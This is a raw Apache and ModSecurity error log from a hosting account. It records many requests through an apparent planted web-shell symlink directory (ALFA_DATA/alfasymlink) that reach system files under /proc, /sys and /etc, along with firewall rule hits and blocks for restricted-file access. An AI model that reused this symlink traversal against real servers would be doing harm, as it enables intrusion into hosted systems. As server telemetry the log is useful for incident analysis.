[Tue Oct 27 07:42:02.778288 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auCOCiV3rvdaeXJTlLHAQgAAAAM"]
[Tue Oct 27 07:42:03.906579 2026] [ssl:error] [pid 3227574:tid 3227574] (70014)End of file found: [client 44.212.106.171:28577] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:11.712914 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 3.81.253.213:33738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/cirrus/0000:00:02.0/resource0
[Tue Oct 27 07:42:16.081219 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.216.172.204:42669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:31.600268 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.195.60.66:33709] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:31.720374 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 85.208.96.208:61836] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:36.516188 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 18.208.11.93:1659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/tpm_tis/unbind
[Tue Oct 27 07:42:47.717485 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.227.180.70:44632] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:59.755480 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 34.225.243.131:43826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:09.887350 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.12:57144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/objects
[Tue Oct 27 07:43:12.278556 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.235.191.179:29415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:23.746508 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.93.253.174:30632] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:27.716584 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.2.58.41:1612] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:35.749745 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.54.95.127:5363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:39.822099 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.217.255.167:10789] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:47.913918 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.215.231.15:61952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:51.921819 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 23.23.99.55:10312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:55.810449 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.84.102.81:5960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:43:59.748467 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.221.50.71:38411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:11.804543 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.216.227.216:10070] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:11.804867 2026] [security2:error] [pid 3209611:tid 3209611] [client 3.216.227.216:10070] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory9/subsystem/devices/memory10/valid_zones"] [unique_id "auCOi5ekxYBRCO5jo1OIPgAAABA"]
[Tue Oct 27 07:44:11.804904 2026] [security2:error] [pid 3209611:tid 3209611] [client 3.216.227.216:10070] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory9/subsystem/devices/memory10/valid_zones"] [unique_id "auCOi5ekxYBRCO5jo1OIPgAAABA"]
[Tue Oct 27 07:44:27.757664 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.44.148.203:55829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:31.958822 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.71.218.25:44127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:35.866657 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.227.156.153:42292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:39.690788 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 23.23.104.107:62172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:44:47.995854 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 44.195.145.102:9444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Tue Oct 27 07:44:51.187419 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 85.208.96.210:23828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/slab_size
[Tue Oct 27 07:44:51.805556 2026] [security2:error] [pid 3209616:tid 3209616] [client 52.54.95.127:48160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/"] [unique_id "auCOsxpfUBgvi1kircRVDgAAABg"]
[Tue Oct 27 07:44:51.805649 2026] [security2:error] [pid 3209616:tid 3209616] [client 52.54.95.127:48160] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/"] [unique_id "auCOsxpfUBgvi1kircRVDgAAABg"]
[Tue Oct 27 07:45:11.598969 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.208.96.203:12420] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auCOx2_oZ855J3-bmxEqDgAAAAY"]
[Tue Oct 27 07:45:11.599370 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.208.96.203:12420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auCOx2_oZ855J3-bmxEqDgAAAAY"]
[Tue Oct 27 07:45:11.599827 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.208.96.203:12420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auCOx2_oZ855J3-bmxEqDgAAAAY"]
[Tue Oct 27 07:45:11.938615 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.206.47.187:16493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:16.006432 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.205.170.13:30835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:23.758580 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.218.170.184:63659] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:28.122992 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 3.212.86.97:59478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:11/eject
[Tue Oct 27 07:45:32.840410 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 184.72.95.195:3610] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:39.942353 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.225.24.180:65216] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:50.269195 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 16.216.88.253:20480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/dev/core
[Tue Oct 27 07:45:55.699716 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.70.123.241:62885] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:45:59.909688 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.231.181.240:12473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:03.797568 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 100.28.118.16:26689] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:08.956876 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.232.11.247:30306] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:11.783170 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.203.111.15:16642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:31.953291 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 23.21.175.228:24465] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:52.289333 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.222.85.38:3541] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:46:55.756409 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 100.29.155.89:37422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:03.785743 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.208.156.9:61047] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:16.041120 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.224.9.144:15802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:19.767952 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 23.23.213.182:39770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:27.755044 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.83.10.183:3785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:31.786339 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.221.203.24:35287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:35.883065 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 107.20.255.194:30960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:39.797062 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 54.156.248.117:14978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:43.907322 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.7.13.143:28922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:47.952999 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.206.93.215:46660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:47:56.430733 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.209.187.99:33487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:02.880767 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 85.208.96.202:51500] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:03.902589 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.202.88.37:40905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:08.181090 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 50.19.221.48:16841] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:11.739247 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.1.106.130:39005] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:16.691801 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 98.83.94.113:11590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:19.737502 2026] [ssl:error] [pid 3209603:tid 3209603] (2)No such file or directory: [client 44.212.131.50:39181] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:24.504355 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.227.234.246:55844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:27.914237 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.223.116.180:23179] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:32.212876 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 50.16.216.166:26263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:35.816014 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.200.251.20:52296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:39.792243 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 107.20.181.148:26025] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:43.898531 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.197.102.71:55825] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:45.714017 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 185.191.171.11:23036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/hwcache_align
[Tue Oct 27 07:48:51.685867 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.225.181.161:55292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:48:55.732967 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.223.181.32:19201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:49:03.776879 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 54.197.178.107:50960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/subsystem/slots/31/module/uevent
[Tue Oct 27 07:49:15.872702 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.212.106.171:10696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:49:27.828871 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.231.156.59:16284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:49:31.898681 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 44.215.231.15:44580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:49:51.923359 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 35.169.119.108:52620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:00.031710 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 23.21.225.190:40485] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:10.642957 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 185.191.171.2:30738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/shrink
[Tue Oct 27 07:50:12.228632 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.94.199.128:49230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:15.900438 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.221.180.179:64116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:19.825345 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.7.13.143:56974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:23.704848 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.23.112.144:19676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:27.723438 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 98.82.63.147:22533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/11/module/uevent
[Tue Oct 27 07:50:41.585982 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 185.191.171.16:17766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:50:55.708258 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 44.217.177.142:8784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:03.845810 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 23.23.103.31:48798] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:06.181952 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.208.96.195:17462] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/aws/tuned.conf"] [unique_id "auCQKj4THoroSjopRdUATwAAAAE"]
[Tue Oct 27 07:51:06.182539 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.208.96.195:17462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/aws/tuned.conf"] [unique_id "auCQKj4THoroSjopRdUATwAAAAE"]
[Tue Oct 27 07:51:06.183132 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.208.96.195:17462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/aws/tuned.conf"] [unique_id "auCQKj4THoroSjopRdUATwAAAAE"]
[Tue Oct 27 07:51:07.797479 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.213.106.226:15743] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:15.870224 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 34.225.243.131:48900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:23.724062 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.208.193.63:4210] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:27.716098 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 34.194.233.48:26161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:31.691316 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.202.233.37:42355] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:36.087994 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.70.123.241:31676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:39.910269 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 98.83.226.125:30591] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/3/module/uevent
[Tue Oct 27 07:51:47.856279 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 107.23.62.75:65041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:52.096700 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 3.211.181.86:31162] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:51:59.762290 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 184.73.167.217:56393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:01.988600 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 85.208.96.200:10996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects_partial
[Tue Oct 27 07:52:03.769792 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.212.205.90:64571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:11.717454 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 184.73.47.24:49381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:23.713629 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.3.156.186:36468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:39.756281 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.93.253.174:31849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:43.841367 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 23.22.105.143:45593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:52:48.594239 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 185.191.171.10:60930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/poison
[Tue Oct 27 07:52:53.885169 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.206:35158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/usbhid/drivers/usb:usbhid/uevent
[Tue Oct 27 07:52:59.822270 2026] [core:error] [pid 3227573:tid 3227573] (13)Permission denied: [client 44.221.227.90:19436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/remove_id
[Tue Oct 27 07:53:14.320592 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 85.208.96.197:47596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:19.777335 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 35.153.86.200:65427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:23.702433 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.145.82.217:54208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:28.040883 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 54.147.238.89:38831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:31.777003 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.54.249.218:23817] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:36.099087 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.197.76.210:24974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers/rtc_cmos/uevent
[Tue Oct 27 07:53:39.909410 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.229.95.193:11423] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:48.054583 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.225.45.252:44681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:51.718466 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 3.94.156.104:60818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/driver/pcspkr/driver/module/uevent
